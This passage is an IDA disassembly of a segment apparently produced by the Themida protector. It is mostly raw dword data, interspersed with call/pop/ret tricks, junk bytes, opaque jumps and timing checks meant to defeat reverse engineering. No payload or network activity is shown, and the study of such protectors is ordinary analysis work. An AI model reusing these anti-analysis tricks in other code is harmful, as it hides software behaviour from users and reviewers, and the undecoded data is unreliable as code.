		dd 1504h, 0C3564600h, 8A5018E8h, 240489F7h, 0A0A8BB66h
		dd 4E49858Dh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 8589EBC3h, 61015A1h, 0F525050h
		dd 158Ch, 0FE800h, 4F9E0000h, 5CBBAAF2h, 0EDF1BED0h, 71B5EB44h
		dd 310F5AE8h, 61605250h, 0BA66310Fh, 585AE4FEh,	489585Ah
		dd 8BD2B724h, 1000E59Dh, 27858D06h, 5706104Eh, 9E9h, 52A6F800h
		dd 5D62D3B9h, 905AF900h, 0CDA6EEBAh, 24B75059h,	858D8990h
		dd 0FF061016h, 10025195h, 0AE906h, 2DDB0000h, 0C6E4244Ch
		dd 7DD0B112h, 6A0CC483h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0B6FDC356h,	89BF3487h
		dd 100D8D95h, 0EE806h, 717D0000h, 3DD97920h, 38B3FB58h
		dd 60328312h, 0BDC38166h, 858D5BCEh, 6104E27h, 73B75090h
		dd 3830F90h, 80000000h,	26A0EE7h, 233D9D89h, 95FF0610h
		dd 6AED14h, 6161FC60h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0CC35343h, 1252496Ch,	10B21CA5h, 4E5A85C7h
		dd 10610h, 95230000h, 6102D39h,	24348950h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 99C35242h, 20A99503h
		dd 12E90610h, 4000000h,	0E702CF90h, 231298BDh, 0B2ED3F49h
		dd 0BBECAC68h, 0BB5898Eh, 306104Eh, 1005F99Dh, 9BD8306h
		dd 1061022h, 31850Fh, 0EB810000h, 6800AF50h, 0F05F883h
		dd 2285h, 859D8900h, 0B8061009h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5505DF
; ---------------------------------------------------------------------------
		db 29h,	1Dh, 0FCh
		dd 3859ED0h, 7FA6BF5Eh,	6ED57299h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 47h,	0D2h
; ---------------------------------------------------------------------------


loc_5505DF:				; CODE XREF: Themida_:005505C8j
		cmp	dword ptr [ebp+6100B05h], 0
		jz	loc_55062F
		or	bx, 7BEBh
		pusha
		push	0
		push	ebx
		call	sub_5505FD
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5505FD	proc near		; CODE XREF: Themida_:005505F5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5505FD	endp

; ---------------------------------------------------------------------------
		db 0EDh, 89h, 0B5h
; ---------------------------------------------------------------------------
		stc
		sub	dl, [eax]
		push	es
		call	dword ptr [ebp+6100B05h]
		mov	edx, edi
		popa
		jle	loc_55062F
		jnz	loc_55062F
		mov	[ebp+6102855h],	edx


loc_55062F:				; CODE XREF: Themida_:005505E6j
					; Themida_:0055061Dj ...
		cmp	dword ptr [ebp+6101359h], 0
		jz	loc_55064A
		mov	edx, [ebp+6100259h]
		mov	eax, 0
		mov	dx, si


loc_55064A:				; CODE XREF: Themida_:00550636j
		pusha
		jmp	loc_550661
; ---------------------------------------------------------------------------
		dd 0AF5FA7D3h, 6071BDD6h, 0C3F688E0h, 0A608A90Fh
		db 0E2h
; ---------------------------------------------------------------------------


loc_550661:				; CODE XREF: Themida_:0055064Bj
		pusha
		mov	esi, [ebp+6100935h]
		jb	loc_55066F
		cmc


loc_55066F:				; CODE XREF: Themida_:00550668j
		popa
		mov	eax, [ebp+61010C5h]
		push	0
		push	edx
		call	sub_550681
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550681	proc near		; CODE XREF: Themida_:00550679p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_550681	endp

; ---------------------------------------------------------------------------
		retn	0ECBh
; ---------------------------------------------------------------------------
		sbb	bx, 40Ch
		add	eax, 2
		jmp	loc_5506B4
; ---------------------------------------------------------------------------
		mov	edx, 76508D28h
		aad	4Ah
		fldcw	word ptr [eax]
		mov	ds:0FB004FFCh, al
		pop	ebx
		retf	0DDBDh
; ---------------------------------------------------------------------------
		db 0D2h
; ---------------------------------------------------------------------------


loc_5506B4:				; CODE XREF: Themida_:0055069Cj
		mov	[ebp+6104E03h],	eax
		push	0
		push	ebx
		call	sub_5506C5
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5506C5	proc near		; CODE XREF: Themida_:005506BDp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5506C5	endp

; ---------------------------------------------------------------------------
		cli
		sub	ebx, 68DEB93Dh
		mov	ebx, [ebp+6102361h]
		mov	byte ptr [eax],	0FFh
		push	0
		push	esi
		call	sub_5506F0
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5506F0	proc near		; CODE XREF: Themida_:005506E8p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5506F0	endp

; ---------------------------------------------------------------------------
		dd 6870FE7h, 31000000h,	1007E99Dh, 0C1958B06h, 0E806100Bh
		dd 12h,	16436E55h, 494A65B3h, 67AE5D0h,	70AB3802h, 0C65AA430h
		dd 1023E585h, 81665306h, 68B315F2h, 0BEEC764Eh,	81DF8B66h
		dd 0D28A2404h, 85313DC4h, 6101CE1h, 1D45B5FFh, 60570610h
		dd 8B0Fh, 21BE0000h, 617DC5C0h,	0B19D235Bh, 8D06100Ch
		dd 13858A85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0C23E7A8h, 80E1B55Bh, 0D38BDFDFh
		dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 65247BC3h, 0FF09E95h, 8B60DFBFh, 100BBD95h
		dd 55850306h, 6106100Bh, 31C98589h, 9D8B0610h, 6100DD5h
		dd 855BD83h, 0F010610h,	10885h,	6830F00h, 89000000h, 1013658Dh
		dd 6A6106h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 96109EC3h, 0D81E0B80h, 0BD8B6055h, 6100565h
		dd 1CE08166h, 85C66175h, 61023E5h, 6890F45h, 8B000000h
		dd 101EA995h, 0C3A6806h, 850F7124h, 0
; ---------------------------------------------------------------------------
		add	dword ptr [esp], 693C2C88h
		push	0
		push	ecx
		call	sub_55084E
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55084E	proc near		; CODE XREF: Themida_:00550846p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_55084E	endp

; ---------------------------------------------------------------------------
		push	cs
		xchg	eax, ecx
		mov	al, ds:0E7BC936Bh
		push	edx
		push	ebx
		or	bx, 7839h
		pop	edx
		pop	ebx
		push	dword ptr [ebp+6101D45h]
		push	0
		push	eax
		call	sub_55087F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55087F	proc near		; CODE XREF: Themida_:00550877p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_55087F	endp

; ---------------------------------------------------------------------------
		db 0A8h
		dd 7D9D8B28h, 0B06100Fh, 101B759Dh, 8A858D06h, 81061385h
		dd 9B444BEBh, 0BE835h, 0B6070000h, 0B8783869h, 3645A253h
		dd 8E988h, 0AB340000h, 11A0B9Ch, 0FF5B510Ch, 45BA66D0h
		dd 119D8B75h, 6A061008h, 84CA8100h, 2930862Bh, 101F4DB5h
		dd 29D0FF06h, 1012499Dh, 79BD8306h, 1061016h, 0DD850Fh
		dd 8D890000h, 61006D9h,	10C5858Bh, 85890610h, 61014E5h
		dd 61605260h, 16880F5Eh, 0E8000000h, 10h, 0CA3A3E18h, 0E076F566h
		dd 84A1144Eh, 0E873B2C6h, 5DE96158h, 89000000h,	1010B185h
		dd 890F5006h, 0Ah, 0BA665250h, 310F31D1h, 489585Ah, 146AF824h
		dd 8E856h, 20EC0000h, 4D9DA96Ah, 0CF8005DBh, 0F85B5A2Fh
		dd 31C995FFh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0E4F6AC3h, 0B70FA472h, 58DA8BD7h
		dd 0F003880h, 0FFFFA085h, 8F0F56FFh, 6,	2AF99D8Bh, 0C65B0610h
		dd 6A0100h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0CBAEAC3h, 1AEE9CA0h, 858932D6h, 6102195h
		dd 61D6B70Fh, 5C5950Bh,	0BD830610h, 6101379h, 3C840F00h
		dd 81000000h, 33727CE3h, 29958B6Fh, 6A061021h, 0D3BF0FFFh
		dd 31C995FFh, 0B70F0610h, 0FFEDE9D9h, 0AE9FFFFh, 0BB000000h
		dd 0B3539721h, 0B201C870h, 8E0F5374h, 6, 860Fh,	0C75B0000h
		dd 10137985h, 106h, 0AD9D8B00h,	89061021h, 104E0F85h, 0B5896006h
		dd 61008A5h, 1CFECF81h,	506122E5h, 489F08Ah, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 84456851h, 0D680A41Ah, 9D8B6094h, 6100EF9h, 66F5056Ah
		dd 8D1AB8BBh, 104E2785h, 0B18D0106h, 90061031h,	0EE9h
		dd 0BD241300h, 0DBCBC587h, 49B6272Bh, 50E858B4h, 0D840Fh
		dd 52500000h, 853DBB66h, 8B66310Fh, 90585ADAh, 8DD08B66h
		dd 104E1785h, 0EE906h, 0B2030000h, 96AC0A2Eh, 0A6953D84h
		dd 6A967AD5h, 15CD9D33h, 66900610h, 5050DF8Bh, 13E852h
		dd 5CDB0000h, 0BF401B70h, 800A2AA8h, 1455F37Fh,	0D477406h
		dd 5A1DB674h, 6060310Fh, 585A6161h, 819D0B90h, 0FF061021h
		dd 10080195h, 0CABB6606h, 1C8D8D56h, 0F06107Dh,	218Fh
		dd 14E96000h, 5B000000h, 0E79AC0AEh, 0F1D4EBC5h, 0A1CBDBABh
		dd 738C7191h, 8989F182h, 102F0585h, 0C00B6106h,	858D1174h
		dd 6104E27h, 89D1FF50h,	104E4585h, 0C70AEB06h, 104E4585h
		dd 0FFFFFF06h, 19958BFFh, 0B06102Ah, 100A3D95h,	89FC6106h
		dd 100F7595h, 0E585C606h, 4D061023h, 4E8h, 3576A800h, 6E960A4h
		dd 0BB000000h, 4DA6BDFDh, 53525076h, 5A310F5Ah,	66506158h
		dd 448BD88Bh, 0BB660424h, 8BE8D6h, 89D78B66h, 0F042444h
		dd 587h, 5E88BA00h, 6658545Ah, 0B5FFD78Bh, 6100945h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 6CC35545h, 42239DAFh
		dd 0EFC0495Ah, 5066C381h, 858D50A4h, 613858Ah, 0FFDE8B66h
		dd 81950BD0h, 8906101Ch, 1012F585h, 25F38106h, 0C608BE83h
		dd 1023E585h, 81664506h, 0E85FFEF3h, 4,	8E726969h, 8A50B1B6h
		dd 24448BD7h, 66525004h, 310FDE8Bh, 48A0Fh, 0BA660000h
		dd 585AA072h, 0BB66008Bh, 44895B77h, 0D68B0424h, 52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 505C1B1Ch, 7558D89h,	0FF5B0610h, 101D45B5h, 598D0906h
		dd 0F06101Ch, 858DD2B7h, 613858Ah, 1C898529h, 85890610h
		dd 6103101h, 12E9D0FFh,	5D000000h, 0AFE7D4E1h, 8B06B56Eh
		dd 0D781C545h, 0EE2AE4D8h, 0AD858978h, 6A061009h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 828FC353h, 0D28B6AF5h, 68F0Fh, 0BD890000h, 6100871h
		dd 6AD98C66h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 94B5C355h, 0CEB2E370h,	35958905h
		dd 8006100Dh, 0C1F64DD7h, 11840F04h, 81000002h,	8A24EEDBh
		dd 0E1E953h, 81660000h,	8B329CDAh, 102955B5h, 10E806h
		dd 15AB0000h, 7D69B573h, 0E2F3B641h, 368F934Ch,	0C28157D2h
		dd 164DFA2Bh, 80C6815Bh, 8B000011h, 1016DD9Dh, 69BD8306h
		dd 61029h, 2E850Fh, 0D68B0000h,	90E9h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 6E972h, 8EB30000h, 0EB05E13Ch, 0F003E83h, 6084h, 89958900h
		dd 6006102Fh, 7E8h, 6722EA00h, 9282DA6Ch, 5AD08B66h, 9D8B146Ah
		dd 6101069h, 31C995FFh,	0DA800610h, 8166562Fh, 5AEE82D2h
		dd 51006A61h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 1709120Eh, 28619533h, 9DE90610h,	89FFFFFFh
		dd 1012C5BDh, 106C706h,	66000000h, 83C5FFBBh, 104E0FBDh
		dd 850F0506h, 118h, 8BDEBF0Fh, 1009ADB5h, 8D9D8B06h, 0B906100Fh
		dd 64h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h
		dd 0D9C35040h, 1EBDAE7h, 10051D95h, 80CFB306h, 840FE83Eh
		dd 2Eh,	0E967C280h, 35h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 2DC35343h, 756FDC56h,	663D4764h, 7E80D98Bh
		dd 840FC205h, 61h, 0D7CA8166h, 958B46E2h, 6101AF5h, 0AC850F49h
		dd 6AFFFFFFh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 8034C353h, 6A907979h, 89D76379h
		dd 100DBD8Dh, 0FE96006h, 2C000000h, 0A8BDB7E7h,	43FAE3B8h
		dd 6E1DD302h, 958950BBh, 610076Dh, 3EE961h, 0C3800000h
		dd 0ADB589DAh, 6A061015h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0F6C1C351h,	0A45B3D9Ah
		dd 0A19D8BB4h, 6006100Ch, 14E5958Bh, 0F520610h,	6158D7B7h
		dd 0EE958h, 3D680000h, 6447F591h, 8338109h, 0AAEABA00h
		dd 0A79BD83h, 0F000610h, 15684h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0C0BFE8F2h
		dd 958BD08Bh, 61015F5h,	15958960h, 0C606100Ch, 1023E585h
		dd 0D08B5406h, 4E8h, 4EBEF400h,	46B750FFh, 424448Bh, 12E860h
		dd 0BCDC0000h, 23D8B1Eh, 69BD7EFDh, 605027B5h, 27E5A789h
		dd 5BF28B66h, 0AE9h, 331C7400h,	2126E735h, 612FCC94h, 0E850008Bh
		dd 0Ah,	0DB2A7BDFh, 1176C428h, 5A5A3B4Eh, 4244489h, 14D6BB66h
		dd 52006A58h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 3D9D8987h, 0FF061028h, 101D45B5h, 0E31BBA06h
		dd 858D2825h, 613858Ah,	9619509h, 958B0610h, 6102105h
		dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 42653BC3h, 7E9h, 17E03500h, 87C7D0FBh, 0E5BB006Ah
		dd 80724079h, 0B5FFDCCEh, 6100A79h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0B8C35646h,	6AD0FF3Ch, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 3C93C356h, 9533D234h, 6100D1Dh
		dd 0AD8D8961h, 0C706100Dh, 101E2985h, 106h, 0AE900h, 6F6D0000h
		dd 10F976DCh, 943DFD3Bh, 0D19D8B60h, 68061022h,	0B102BAD2h
		dd 0AE9h, 98C2B300h, 0C366151h,	81FF6B1Ch, 45AE2404h, 0FF6A4EFDh
		dd 715958Bh, 95FF0610h,	61006B9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 6CC35747h, 894D3C1Ah, 1018C9B5h
		dd 0B5896106h, 6102D39h, 66905090h, 0A048CA81h,	11A9858Bh
		dd 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 60EF8AC3h, 21219529h, 0C00B0610h,	2E840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 958B4CC3h, 6102F6Dh, 2EE195FFh, 0B5090610h
		dd 6101DE9h, 75185C7h, 10610h, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F2FE3C3h
		dd 0BD83DFB7h, 6101701h, 0F840F00h, 80000000h, 95FF10E3h
		dd 61030B1h, 31A99D8Bh,	0BD830610h, 6102E85h, 23840F00h
		dd 0E8000000h, 7, 0E4616FE8h, 60F4C86Dh, 95896160h, 6102D35h
		dd 95FF5B61h, 6101639h,	1D7D9D89h, 0BD830610h, 6100939h
		dd 62840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 5639C351h, 0FDD9D89h
		dd 835A0610h, 1032BDBDh, 850F0006h, 31h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 80C35343h, 89C78BB8h
		dd 1026E58Dh, 0C195FF06h, 89061005h, 102D81B5h,	19BD8306h
		dd 61031h, 57840Fh, 0F6800000h,	658581E3h, 306100Eh, 6A000040h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 6DD8C353h, 54646474h, 8A1002EEh, 9E8D9h
		dd 70050000h, 0DA62FE0Ah, 0F39B998h, 38Bh, 0D1B70F00h
		dd 2D85815Ah, 3061013h,	8B000040h, 0E8310FD7h, 0Ah, 0C342690h
		dd 0E8080B9Ah, 0B70F8E35h, 8D8D5AD2h, 6105DFEh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 26C35242h, 4B330A4Fh
		dd 815D7B88h, 0B59BA8DBh, 0F98D2977h, 89061015h, 50006A01h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 74DD975Bh, 89DC1194h, 100D5185h, 0B1958906h,	33061023h
		dd 89D78BC2h, 9D010441h, 61005B1h, 0BD31310Fh, 6101081h
		dd 5E468D8Dh, 80500610h, 895A59D2h, 0E1958B01h,	80061032h
		dd 0C23316CAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	1DC35242h, 33FBD894h, 3BE15A6Ah, 0A0BA66FCh, 441891Eh
		dd 83D3BF0Fh, 103195BDh, 840F0006h, 2Eh, 5BDD8A56h, 1C8D95FFh
		dd 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0ABE2E0C3h, 0C959D8Bh, 0BD830610h, 6100DE9h
		dd 6B850F01h, 0E8000000h, 8, 0EEDAD0D8h, 0C700ABE8h, 58E95Bh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 48896BC3h, 2CB2621h, 0CE9900Bh, 2C000000h
		dd 37D00BC2h, 0E769FF5Fh, 66360F2Ah, 0B58BD68Bh, 6105F7Eh
		dd 6C7h, 0B58B0000h, 6105D33h, 6C7h, 0FCCF0000h, 5218589h
		dd 0BD830610h, 6100751h, 0A3840F00h, 6A000001h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0CAE6C355h, 0BD29C15Ah, 6100FB5h, 11B5BD83h,	0F010610h
		dd 15F85h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0E86D9AC6h, 12h, 4F03D01h, 0D76BD4B5h
		dd 0B41C6792h, 87E3F30Dh, 0CA814F9Bh, 4B937099h, 0D5B5315Ah
		dd 8B06101Dh, 104E038Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 481EBBDCh, 0C6E29B3Ch
		dd 33520001h, 101D059Dh, 0B3605A06h, 0D38B669Ch, 59D25B68h
		dd 0E96060ADh, 0Fh, 7BBC67F2h, 39E5D911h, 0D9374A93h, 6619D413h
		dd 612C88BFh, 38E0Fh, 8B660000h, 48161CEh, 0A62E2524h
		dd 51006A52h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0A231677Dh, 92B3156Bh, 0CA80FF6Ah, 2D958BEBh
		dd 0FF06100Eh, 1006B995h, 0EBF28006h, 0D2BF0F61h, 1F8995FFh
		dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0C0E21FC3h, 0F627EBCEh, 2DD5BD89h, 8D8B0610h
		dd 6104E03h, 0FECBE280h, 50006A01h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0C25D8436h, 1BC03512h
		dd 11E872F0h, 0CC000000h, 0DFA98C07h, 0FA70950Fh, 9B593D2h
		dd 0A035F250h, 5BD18B66h, 1D5BD83h, 0F010610h, 585h, 2BA6600h
		dd 0C08BFCE0h, 0BD83B2B7h, 610158Dh, 83097500h,	100095BDh
		dd 1A740006h, 0C08B5350h, 0E65858Bh, 85890610h,	6100E65h
		dd 0B8159D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h, 50187400h
		dd 65858B53h, 8906100Eh, 100E6585h, 49D8D06h, 0FF0612B5h
		dd 0F585BD3h, 884h, 2870F00h, 8B000000h, 51006ADEh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 27BB57EAh, 5A385157h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0E8D302C3h, 8, 8322AEEDh
		dd 43C16182h, 105D958Bh, 665B0610h, 0BD83D78Bh,	6100751h
		dd 4F850F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 2E5EC350h, 47B87C5Eh
		dd 0E9378231h, 10h, 58DD93BAh, 7995DE9Bh, 0B0FA5E84h, 0E7F531F0h
		dd 2779958Bh, 0BD830610h, 6100AA1h, 3840F00h, 0F000000h
		dd 0BD83DAB7h, 6100751h, 15840F00h, 0B2000000h,	35BD8367h
		dd 6101Eh, 6840Fh, 8D890000h, 610335Dh,	751BD83h, 0F000610h
		dd 1284h, 35BD8300h, 6101Eh, 5840Fh, 81660000h,	83A8BBCAh
		dd 100751BDh, 840F0006h, 34h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0D7C35242h,	15BD83h, 0F000610h
		dd 0B84h, 6E900h, 4B780000h, 0B52189Fh,	751BD83h, 0F000610h
		dd 2384h, 0FBBB6600h, 0E1BD83A1h, 61021h, 12840Fh, 9D890000h
		dd 6101241h, 1B6D95FFh,	9D890610h, 61021CDh, 6AC08Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 888B8BC3h, 13859D8Bh, 0CBB20610h, 158DBD83h,	75000610h
		dd 95BD8309h, 61000h, 53501A74h, 858BC08Bh, 610132Dh, 132D8589h
		dd 9D8D0610h, 612B87Ch,	585BD3FFh, 95BD83h, 74000610h
		dd 8B535018h, 10132D85h, 2D858906h, 8D061013h, 12B51D9Dh
		dd 5BD3FF06h, 6E958h, 0A4A30000h, 0F2F669FCh, 9B1958Bh
		dd 0C08B0610h, 1A7D8589h, 0BD830610h, 6100751h,	8F840F00h
		dd 89000004h, 1023D985h, 55BD8306h, 2061008h, 2F840Fh
		dd 0BD010000h, 6101C99h, 0DE9BD83h, 0F010610h, 1C85h, 858B6000h
		dd 61004D9h, 0FE9h, 0D5ECA600h,	811F61F8h
		dd 8FEA4169h, 0FCCF2A27h, 6A6061h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 8D8B24C3h, 6104E03h
		dd 0DAD28166h, 6A01FEDCh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0F1C2C355h,	4E8C9h
		dd 800000h, 0BB660000h,	0B7500D67h, 24448B83h, 8BD38B04h
		dd 0BA665600h, 895B9C88h, 0E9042444h, 5, 8F82996Fh, 6AFC584Fh
		dd 50006AFFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 81667403h, 0FFF61FC2h, 1006B995h, 3D950B06h
		dd 0F06100Ah, 680h, 61853100h, 61061021h, 11398529h, 0BD8D0610h
		dd 6100CB5h, 8BF6EA80h,	0BA661C4Fh, 0F7807981h,	29016ACEh
		dd 102225B5h, 181EBB06h, 0B750272Ch, 240C89B8h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 8CC35040h, 0C697BE7Eh
		dd 8D0ADE80h, 1345E685h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0C660E70Fh, 0D0FFF486h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 71C35242h
		dd 39EB81B2h, 0F677F5Dh, 489h, 0B7BB6600h, 204F8BA3h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 3FC35343h, 0B589036Ah
		dd 610045Dh, 50525091h,	0FD98B52h, 5A5B5031h, 5A310F58h
		dd 53605058h, 0BC82BA66h, 943ABB5Bh, 916169C4h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 18C35040h, 0F69DE8A0h
		dd 85BD898Eh, 8D06101Dh, 1345E685h, 51953106h, 0FF061029h
		dd 68F0FD0h, 29000000h,	1014358Dh, 0B5BD8D06h, 6006100Ch
		dd 5E9h, 7C1E8700h, 820F5EF8h, 5, 0C417E2B8h, 4F8B6172h
		dd 0E9CA801Ch, 6A016Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 2C0919C3h, 50D3B70Fh, 0B09FB360h
		dd 0C896173h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 34D4C028h, 0D18BD08Bh, 8DD08B66h
		dd 1345E685h, 68C0F06h,	8B000000h, 102D699Dh, 66D0FF06h
		dd 483DEA81h, 0F204F8Bh, 387h, 41DF8000h, 6A036Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 23E36EC3h, 101CB595h, 0BB665006h, 0C899543h,	51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 6890FFEh, 89000000h,	1029519Dh, 0E6858D06h, 6A061345h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 379DC351h, 85090D82h, 6100BD9h, 6AD0FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 939B3BC3h, 0D88BE9ACh, 4E038D8Bh, 6A0610h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 556841C3h
		dd 9761C03Bh, 0B26C2893h, 6A01FEFAh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 9461C351h
		dd 0AC11048Ch, 0EA803547h, 0CE8A3h, 0F020000h, 0CBC0A9Eh
		dd 0F8A5F602h, 3CBAF3D1h, 5A797EC4h, 4E03858Bh,	8B660610h
		dd 6A00FED0h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0BE7AC356h, 0EC2CA9FBh, 522D593Bh
		dd 15A1B531h, 16A0610h,	0A9E5DA81h, 0E95722EEh,	12h, 2C7A55Fh
		dd 8AA1622Fh, 0C9628704h, 65234E89h, 685B75FAh,	8EC22F09h
		dd 1A8E0Fh, 10E80000h, 4B000000h, 8831CDE0h, 0AA2F1A91h
		dd 3EB682D6h, 66BEEFC8h, 5B3E0CBBh, 0F6243481h,	6A713DB0h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 8D25C353h, 45F0858Dh, 89600613h, 1009BDBDh
		dd 45B58906h, 61061005h, 958BD0FFh, 61001E9h, 2D018D29h
		dd 0BD830610h, 6100AA1h, 0B6840F00h, 66000000h,	0BD83DE8Bh
		dd 6102209h, 0A6850F01h, 89000000h, 101A8585h, 0FA8D8D06h
		dd 8B061345h, 10165995h, 9036A06h, 100559BDh, 66016A06h
		dd 0D1FFD88Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	9EC35242h, 41309F6h, 8AFF5BAEh,	459531F1h, 81061008h
		dd 0D794BAF3h, 0F016A4Dh, 885h,	9D8B5200h, 6101331h, 6A016A5Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0DB7EC351h, 401B705Ch, 1A918D89h,	0D1FF0610h
